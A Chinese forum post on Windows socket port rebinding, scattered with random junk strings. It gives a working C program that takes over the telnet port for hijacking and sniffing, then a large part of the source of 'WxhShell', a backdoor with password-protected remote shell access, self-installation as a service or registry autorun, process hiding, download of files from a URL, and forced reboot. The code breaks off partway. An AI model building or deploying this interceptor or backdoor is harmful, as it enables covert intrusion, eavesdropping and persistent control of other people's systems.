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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $S6HZG:N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wQD0 vsD  
n*vTVt)dJ  
  saddr.sin_family = AF_INET; H{\.g=01  
;t;Y.*&=S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )h>\05|T  
7K>D@O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jb|mip@` <  
%1-K);S J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YGq=8p7.R  
;~Q  
  这意味着什么?意味着可以进行如下的攻击: 3d*&':  
| ((1V^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T~i%j@Q.6  
w24{_ N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X(Y#9N"  
P"(z jG9-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 heE}_,$|  
ia%z+:G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +Dx1/I  
a|DsHZ^6^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q^z=w![z  
mR{CVU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y7<zm}=(/  
Vq3gceo'0A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }xAie(  
N$\ bg|v  
  #include YCa@R!M*O  
  #include *4 <4  
  #include s? QVX~S"  
  #include     \#4m@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?M*7@t@  
  int main() g M4Pj[W  
  { r4O|()  
  WORD wVersionRequested; IDy_L;'`*  
  DWORD ret; >5)<Uv$  
  WSADATA wsaData; D(y+1^>  
  BOOL val;  f~w>v  
  SOCKADDR_IN saddr; wP[xmO-%  
  SOCKADDR_IN scaddr; NH7`5mF$  
  int err; A /q2g7My  
  SOCKET s; ifXW  
  SOCKET sc;  !M  
  int caddsize; KcC!N{  
  HANDLE mt; %'Zc2h&z  
  DWORD tid;   , N53Iic  
  wVersionRequested = MAKEWORD( 2, 2 ); &4,WG  
  err = WSAStartup( wVersionRequested, &wsaData ); |u@+`4o  
  if ( err != 0 ) { :.*HQt9N  
  printf("error!WSAStartup failed!\n"); \7pipde  
  return -1; ~9Z h,p ;  
  } 9ky7r;?  
  saddr.sin_family = AF_INET; ;{|X,;s  
   <d5@CA+M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YEzU{J  
6cJ<9i &  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H2_/,n  
  saddr.sin_port = htons(23); 0,HqE='w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  %BUEX  
  { _ Yfmxn8V  
  printf("error!socket failed!\n"); QE|`&~sme  
  return -1; S_J,[#&  
  } aF!Ex  
  val = TRUE; b"I~_CL|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m#tpbFAsc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >lrhHU  
  { 8z Y)J#  
  printf("error!setsockopt failed!\n"); .*BA 1sjE  
  return -1; #~L!pKM  
  } 5sCFzo<=vh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;HDZ+B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S}[l*7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3y99O $EAc  
KU-'+k2s;p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 11@]d ]v ,  
  { Q]@c&*_|  
  ret=GetLastError(); <3A0={En  
  printf("error!bind failed!\n"); 4'',6KJ@  
  return -1; yL6^\x  
  } C,/O   
  listen(s,2); ?WQNIX4  
  while(1) o\Uu?.-<  
  { 1BJ<m5/1%  
  caddsize = sizeof(scaddr); 6B0# 4Qrv  
  //接受连接请求 Gav"C{G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H$!+A  
  if(sc!=INVALID_SOCKET) Z7fg 25  
  { qj&b o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .2 0V 3  
  if(mt==NULL) &)n_]R#)  
  { \R(R9cry  
  printf("Thread Creat Failed!\n"); w/W7N   
  break; \<~}o I  
  } d+;gw*_Ei  
  } ?]c+j1 i  
  CloseHandle(mt); 8V9 [a*9  
  } \q "N/$5{f  
  closesocket(s); j(iuz^I  
  WSACleanup(); <:&de8bT  
  return 0; =.*98  
  }   t6+YXjXK  
  DWORD WINAPI ClientThread(LPVOID lpParam) B:< ]Hl$  
  { y` yZ R _  
  SOCKET ss = (SOCKET)lpParam; kbYeV_OwM  
  SOCKET sc; Bq@zaMv  
  unsigned char buf[4096]; SRZL\m}  
  SOCKADDR_IN saddr; U3E&n1AA  
  long num; pj0fM{E  
  DWORD val; S,''>`w  
  DWORD ret; $IVwA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "X04mQn15  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8Hi!kc;f6>  
  saddr.sin_family = AF_INET; * RWm47  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /)EY2Y'  
  saddr.sin_port = htons(23); EF#QH _X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 87V1#U^  
  { UL( lf}M  
  printf("error!socket failed!\n"); j?6X1cMq  
  return -1; $d/&k`  
  } }XR : 2  
  val = 100; .m;G$X|3U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pXu/(&?  
  { bUZ_UW  
  ret = GetLastError(); `pL^}_>|GM  
  return -1; Zp&@h-%YoD  
  } 9XLFHV("  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S|em[D[Y^  
  { /*$hx@ih  
  ret = GetLastError(); fuUm}N7  
  return -1; @*>Sw>oet  
  } C$d>_ r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t{dSX?<nt  
  { AQss4[\Dx  
  printf("error!socket connect failed!\n"); } fZ`IOf  
  closesocket(sc); u,1}h L  
  closesocket(ss); +/rH(Ni  
  return -1; ,qQG;w,m  
  } #Yuvbb[  
  while(1) geM6G$V&  
  { RO&H5m r%@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ B/9{0n'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4-R^/A0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N@xg:xr  
  num = recv(ss,buf,4096,0); -.IEgggf  
  if(num>0) 6/Fzco#N  
  send(sc,buf,num,0); R"AUSO|{  
  else if(num==0) 52d^K0STC  
  break; C [uOReo  
  num = recv(sc,buf,4096,0); ka"337H  
  if(num>0) ~rD={&0  
  send(ss,buf,num,0); 8X$LC  
  else if(num==0) k |YWOy@D~  
  break; yClx` S(  
  } 9Q;c ,]  
  closesocket(ss); .]x2K-Sf  
  closesocket(sc);  d$W  
  return 0 ; -%CoWcGP  
  } (:pq77  
5fJ[}~  
4)6xU4eBaL  
========================================================== _[K"gu  
Dg HaOAdU  
下边附上一个代码,,WXhSHELL 3;[DJ5  
A"v{~  
========================================================== "TcW4U9  
Ge+0-I6Ju  
#include "stdafx.h" )$ Mmn  
B,WTHU[AV  
#include <stdio.h> Oakb'  
#include <string.h> $wB^R(f@  
#include <windows.h> bFS>)  
#include <winsock2.h> Bux [6O %  
#include <winsvc.h> Hr<o!e{Y  
#include <urlmon.h> N8r*dadDd  
\x{;U#B[3>  
#pragma comment (lib, "Ws2_32.lib") l_rn++  
#pragma comment (lib, "urlmon.lib") Z8#Gwyinx  
S8d8%R~1=h  
#define MAX_USER   100 // 最大客户端连接数 5kypMHJm  
#define BUF_SOCK   200 // sock buffer nmU_N:Y  
#define KEY_BUFF   255 // 输入 buffer 20RXK1So  
V'Kgdj  
#define REBOOT     0   // 重启 mmXm\]r>4  
#define SHUTDOWN   1   // 关机 !4"^`ors$  
U69u'G:  
#define DEF_PORT   5000 // 监听端口 fBn"kr;  
4Y> Yi*n  
#define REG_LEN     16   // 注册表键长度 (-77[+2  
#define SVC_LEN     80   // NT服务名长度 Ny- [9S-<  
;< jbLhHwD  
// 从dll定义API Yap?^&GV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G!N{NCq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [#Lc]$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y9=K]GB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0MMEo~dih  
J7D}%  
// wxhshell配置信息 cJo\#cr  
struct WSCFG { im7nJQ^H$q  
  int ws_port;         // 监听端口 }v9\F-0>Q  
  char ws_passstr[REG_LEN]; // 口令 1=sXdcy;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q5{Pv}Jx  
  char ws_regname[REG_LEN]; // 注册表键名 }?F`t[+  
  char ws_svcname[REG_LEN]; // 服务名 $ ,SF@BhO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H=*5ASc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )n49lr6 X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :A %^^F%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5!YA o\S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %J:SO_6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n% 'tKU\q  
Pi,QHb`>  
}; 2kAx>R  
S{4z?Ri, '  
// default Wxhshell configuration ?\KM5^eX  
struct WSCFG wscfg={DEF_PORT, Hs?e0Z=N  
    "xuhuanlingzhe", E!BPE>  
    1, 7]xm2CHx5  
    "Wxhshell", ]M/9#mD9~  
    "Wxhshell", RIu~ @  
            "WxhShell Service", hz;|NW{u  
    "Wrsky Windows CmdShell Service", Z/x*Y#0@n  
    "Please Input Your Password: ", f<=Fsl  
  1, ;*ix~taL%  
  "http://www.wrsky.com/wxhshell.exe", '7wd$rl  
  "Wxhshell.exe" ?Xdak|?i  
    }; 9Zry]$0~R  
NN0$}acp  
// 消息定义模块 Uoya3#4 G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ EFMu;q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iovfo2!hD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2%*MW"Q  
char *msg_ws_ext="\n\rExit."; ] Z8Vj7~  
char *msg_ws_end="\n\rQuit."; E$9 Ys  
char *msg_ws_boot="\n\rReboot..."; t?o ,RN:  
char *msg_ws_poff="\n\rShutdown..."; c_aZ{S  
char *msg_ws_down="\n\rSave to "; 5D M"0  
ZyOv.,y  
char *msg_ws_err="\n\rErr!"; dm-pxE "  
char *msg_ws_ok="\n\rOK!"; W$U0[^1  
RLlU" sw+{  
char ExeFile[MAX_PATH]; ,B4VT 96*  
int nUser = 0; 6sIL.S~c)  
HANDLE handles[MAX_USER]; *k"|i*{  
int OsIsNt; X[#zCM  
M/x>51<  
SERVICE_STATUS       serviceStatus; ^7;JC7qmN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P%)gO  
Pe C7  
// 函数声明 <YA&Dr3OD  
int Install(void); (feTk72XX  
int Uninstall(void); '$4O!YI9@  
int DownloadFile(char *sURL, SOCKET wsh); G} eUL|S  
int Boot(int flag); 8WE{5#oi  
void HideProc(void); p!]6ll^  
int GetOsVer(void); ~~/xR s  
int Wxhshell(SOCKET wsl); QL6C,#6  
void TalkWithClient(void *cs); 1@u2im-O  
int CmdShell(SOCKET sock); ~GE$myUT\p  
int StartFromService(void); GgaTn!mJt  
int StartWxhshell(LPSTR lpCmdLine); + OV')oE  
=rdY @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1&fc1uYB4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %uv?we7  
u%'\UmE w  
// 数据结构和表定义 Ai D[SR  
SERVICE_TABLE_ENTRY DispatchTable[] = jx acg^c  
{ v]__%_  
{wscfg.ws_svcname, NTServiceMain}, ?+T^O?r|O  
{NULL, NULL} \{Q?^E  
}; Y#!h9F  
"[}O"LTQ  
// 自我安装 V\(:@0"  
int Install(void) V]*b4nX7  
{ u?s VcD[  
  char svExeFile[MAX_PATH]; ng:Q1Q9N  
  HKEY key; 0%!rx{f#\  
  strcpy(svExeFile,ExeFile); :xKcpY[{  
+ [Hh,I7  
// 如果是win9x系统,修改注册表设为自启动 AeAp0cbet  
if(!OsIsNt) { ;3_l@dP"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7ugZE93!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O;7)Hjwt  
  RegCloseKey(key); f|u#2!7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [AV4m   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eNiaM6(J  
  RegCloseKey(key); jA#/Z  
  return 0; ?\8?%Qk  
    } j~j\\Y  
  } i#%aTRKHd6  
} G,;,D9jO7  
else { p4p@^@<>X  
~b {Gz6u>  
// 如果是NT以上系统,安装为系统服务 ;[RZ0Uy=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lO2[JP  
if (schSCManager!=0) E^U0f/5 m  
{ sB69R:U;  
  SC_HANDLE schService = CreateService y4+ ;z2' >  
  ( RpLE 02U  
  schSCManager, Lg"C]  
  wscfg.ws_svcname, e.c3nKXZ q  
  wscfg.ws_svcdisp, j5@:a  
  SERVICE_ALL_ACCESS, K'#E3={tt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  +H$!a  
  SERVICE_AUTO_START, p&VU0[LIC0  
  SERVICE_ERROR_NORMAL, \QU^>2 3  
  svExeFile, &@ JvnO:  
  NULL, (knp#   
  NULL, 9'hv%A:\3  
  NULL, mZ1)wH,  
  NULL, %LYnxo7#C  
  NULL u1xSp<59C  
  ); A)ipFB 6K  
  if (schService!=0) ioPUUUb)  
  { yoAfc  
  CloseServiceHandle(schService); |p$spQ  
  CloseServiceHandle(schSCManager); %'0T Xr$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1>L(ul(qGF  
  strcat(svExeFile,wscfg.ws_svcname); 4Vq%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,^icPQSwc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6"dD2WV/  
  RegCloseKey(key); klUQkz |<a  
  return 0; V`@>MOw^d  
    } O{ /q-~_  
  }  <T[E=#  
  CloseServiceHandle(schSCManager); F[ewn/]n  
} NWxUn.Gy9  
} OT&k.!=  
Y2'cs~~$Ce  
return 1; Ali9pvE  
} y!]CJigpZ  
imiR/V>N  
// 自我卸载 ;2Q~0a|  
int Uninstall(void) vX]Gf4,  
{ ytNO*XoR  
  HKEY key; &HSq(te  
!Ra*)b "  
if(!OsIsNt) { =~p>`nV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }`+B=h-dW  
  RegDeleteValue(key,wscfg.ws_regname); ``E/m<r:$  
  RegCloseKey(key); }<'5 z qS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E@Ad'_H  
  RegDeleteValue(key,wscfg.ws_regname); .KdyJ6o  
  RegCloseKey(key); s=[h?kB  
  return 0; ,!U=|c"k)  
  } U!Ek'  
} H:"ma S\I  
} =N 5z@;!  
else { )Pv9_XKJ  
}pJwj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P (S>=,Y&  
if (schSCManager!=0) 0T46sm r  
{ 'fPdpnJ<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r [ K5w  
  if (schService!=0) }- Wa`t7U  
  { jbR0%X2  
  if(DeleteService(schService)!=0) { E\C9|1)  
  CloseServiceHandle(schService); K(q-?n`<  
  CloseServiceHandle(schSCManager); *YlV-C<}W"  
  return 0; >$2V%};  
  } "le>_Ze_>|  
  CloseServiceHandle(schService); VU@9@%TN  
  } _SA5e3#  
  CloseServiceHandle(schSCManager); cp o-.  
} U)3DQ6T99  
} fNrgdfo  
NssELMtF!g  
return 1; ;D$)P7k6  
} _2N$LLbg  
D1 &A,2wO  
// 从指定url下载文件 <\;#jF%V  
int DownloadFile(char *sURL, SOCKET wsh) o;?/HE%,[  
{ 8n>9;D5n  
  HRESULT hr; im @h -A]0  
char seps[]= "/"; L QjsOo  
char *token; yBI'djL~>  
char *file; T*KMksjxm`  
char myURL[MAX_PATH]; 7k8pZ  
char myFILE[MAX_PATH]; JY6 Q p  
XU"~h64]  
strcpy(myURL,sURL); {GJ@psG*  
  token=strtok(myURL,seps); k?'B*L_Mzv  
  while(token!=NULL) ?Ae ve n  
  { 4rrSb*  
    file=token; /d%=E  
  token=strtok(NULL,seps); B7!3-1<k>  
  } !o$!Frc  
aE2.L;Tk?  
GetCurrentDirectory(MAX_PATH,myFILE); NQ6sGL  
strcat(myFILE, "\\"); k-}b{  
strcat(myFILE, file); :>=\.\  
  send(wsh,myFILE,strlen(myFILE),0); Q1+dCCY#F  
send(wsh,"...",3,0); v;)..X30  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @9"J|}  
  if(hr==S_OK) y:6; LZ9[  
return 0; _8E/) M  
else &%-73nYw  
return 1; N ,z6y5Lu  
>vA2A1WhW  
} Jkek-m  
pxa(  
// 系统电源模块 4]E3c AJ  
int Boot(int flag) qT^I?g"!  
{ Ng_!zrx04  
  HANDLE hToken; )Eo)t>  
  TOKEN_PRIVILEGES tkp; K>{T_){  
53[~bwD  
  if(OsIsNt) { YD7Oao4:o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ , u+4h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q 7?#=N?  
    tkp.PrivilegeCount = 1; Bs?^2T~%{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VTH> o>g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @/31IOIV]`  
if(flag==REBOOT) { aca=yDs2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $b mLu=9  
  return 0; ,KFapz!  
} tdu$pC6  
else { p}~qf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) % oo2/aF  
  return 0; pJtex^{!:  
} `V04\05  
  } >m$ 1+30X  
  else { )h)]SF}  
if(flag==REBOOT) { (}2~<   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ll4g[8  
  return 0; 5bg s*.s  
} - RU=z!{  
else { ruld B,n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KGFv"u{  
  return 0; ;4pYK@9w_  
} q0zr E5  
} B]l)++~  
\vO,E e~#W  
return 1; 5yz(>EVH  
} _BP&n  
uwy:t!(j  
// win9x进程隐藏模块 <Pi|J-Y  
void HideProc(void) EU+S^SyZi  
{ =aTv! 8</  
1waTTT?"Ho  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L}pt)w*V1j  
  if ( hKernel != NULL ) [wzb<"kW  
  { s|y "WDyx5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZG&>:Si;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mmk=97  
    FreeLibrary(hKernel); #iHs* /85  
  } O[ef#R!  
Fkd+pS\9g~  
return; P`cq H(   
} ?BZPwGMs  
I<6P;  
// 获取操作系统版本 ~G6Ox)/  
int GetOsVer(void) Vo'T!e- B  
{ 2|*JSU.I  
  OSVERSIONINFO winfo; z\%67C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1 P!Yxeh  
  GetVersionEx(&winfo); ~ r4 38&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M]2]\km  
  return 1; !*B'?|a<\  
  else M# %a(Y3K)  
  return 0; MjC_ (cs  
} F}/S:(6LF2  
o9dY9o+Z  
// 客户端句柄模块 /~$WUAh  
int Wxhshell(SOCKET wsl) I!Z_ [M  
{ lrIjJ V  
  SOCKET wsh; waj0"u^#  
  struct sockaddr_in client; =E#%'/ A;c  
  DWORD myID; 2KYw}j|5  
S(*sw 0O@+  
  while(nUser<MAX_USER) %_%Q 8,W  
{ #W.#Hjpp  
  int nSize=sizeof(client); 2Tp1n8FV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M:[ %[+6  
  if(wsh==INVALID_SOCKET) return 1; I7n"&{s"*  
^<a t'jk6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kr9*,E9cv  
if(handles[nUser]==0) %|q>pin2  
  closesocket(wsh); sl`s_$J  
else ~lsl@  
  nUser++; g'n7T|h ~  
  } 9\mLW"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &&8IU;J  
`n @*{J8  
  return 0; 6"J? #  
} q!u~jI9 j  
n%o5kVx0  
// 关闭 socket >\P@^ h]  
void CloseIt(SOCKET wsh) wc}5m Hs  
{ E%,^Yvh/  
closesocket(wsh); FE (ev 9@  
nUser--; i/`m`qdg  
ExitThread(0); VyXhl;  
} fY51:0{  
&;[Io  
// 客户端请求句柄 gv- xm  
void TalkWithClient(void *cs) %4,O 2\0?&  
{ pm 9"4z  
YA_c N5p/@  
  SOCKET wsh=(SOCKET)cs; IID-k  
  char pwd[SVC_LEN]; v,-HU&/*B  
  char cmd[KEY_BUFF]; RL@VSHXc  
char chr[1]; i%#+\F.&  
int i,j; [ 0KlC1=  
xy/`ZS2WPq  
  while (nUser < MAX_USER) { {E9+WFz5  
mpU$ +  
if(wscfg.ws_passstr) { ,*&:2o_r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _u5#v0Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ybs\ES'?A  
  //ZeroMemory(pwd,KEY_BUFF); >_-s8t=|  
      i=0; zuJ@E=7  
  while(i<SVC_LEN) { t\k$};qJ  
@hiCI.?X  
  // 设置超时 /'l{E  
  fd_set FdRead; `(ue63AZ  
  struct timeval TimeOut; ~obqG!2m  
  FD_ZERO(&FdRead); "$+Jnc!!  
  FD_SET(wsh,&FdRead); /v1Q4mq  
  TimeOut.tv_sec=8; CY s,`  
  TimeOut.tv_usec=0; fzb29 -  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mD$A4Y-'p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >~[c|ffyo/  
H8Bs<2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `>f6) C-  
  pwd=chr[0]; (:TjoXXiY  
  if(chr[0]==0xd || chr[0]==0xa) { ODNM+#}`  
  pwd=0; Zw5Ni Xj  
  break; F4}]b(L  
  } -:Da&V  
  i++; 0WZ_7C?  
    } Z'`g J&6n  
Xqg@ e:g  
  // 如果是非法用户,关闭 socket [!HEQ8 2g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "GMBjT8  
} P;=n9hgHI  
f332J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SPX$ U5&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |:q=T ~x  
v7BA[jQr  
while(1) { D[aCsaR  
dx5#\"KX=,  
  ZeroMemory(cmd,KEY_BUFF); A&.WH?p  
{5U{8b]k  
      // 自动支持客户端 telnet标准   o{* e'4  
  j=0; QdH\LL^8R4  
  while(j<KEY_BUFF) { p{amC ;cI$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NO "xL,  
  cmd[j]=chr[0]; F\JM\{&F  
  if(chr[0]==0xa || chr[0]==0xd) { :~e>Ob[,"  
  cmd[j]=0; R]c+?4J  
  break; I5 o)_nc  
  } TJ_$vI  
  j++; &=Ar  
    } Z &Pg"a?\  
bH7X'%r  
  // 下载文件 jVv0ST*z  
  if(strstr(cmd,"http://")) { ieDk;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \r;#g{ _  
  if(DownloadFile(cmd,wsh)) Vwg|K|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[oui,}_  
  else jaTh^L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3oGt3 F{gZ  
  } 'y;EhOwj,  
  else { sT3^hY7  
dpAjR  
    switch(cmd[0]) { Su 586;\  
  #I{h\x><?  
  // 帮助 PWaw]*dFmy  
  case '?': { A-H&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FcR=v0),  
    break; T6O::o6  
  } |%F=po>w  
  // 安装 ~P*6ozSYpY  
  case 'i': { b3&zjjQ  
    if(Install()) 9_L[w\P|4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |{BIHgMh  
    else 5gH1.7i b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,X[kt z  
    break; ^crCy-`#  
    } 2#KJ asX  
  // 卸载 "cE7 5  
  case 'r': { dsb`xw  
    if(Uninstall()) ^=BTz9QM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63q^ $I  
    else ]e"=$2d$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Tg IB  
    break; 9_q#W'/X  
    } (Mo*^pVr  
  // 显示 wxhshell 所在路径 K SbKEA  
  case 'p': { y6ECdVF  
    char svExeFile[MAX_PATH]; ?J%1#1L"/  
    strcpy(svExeFile,"\n\r"); %q/62f7?  
      strcat(svExeFile,ExeFile); V/%>4GYnC  
        send(wsh,svExeFile,strlen(svExeFile),0); oibsh(J3  
    break; oI0M%/aM  
    } [>+4^&  
  // 重启 s`M9    
  case 'b': { aXQnZ+2e^R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d?s<2RkPT  
    if(Boot(REBOOT)) oz,np@f)J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }6p@lla,%]  
    else { ~+Rc }K  
    closesocket(wsh); 6CV* Z\b  
    ExitThread(0); n&{Dq}q  
    } 3AHlSX  
    break; ;+e}aER&9  
    } &v$rn#l  
  // 关机 `>gd&u  
  case 'd': { #^`4DhQ/ 1  
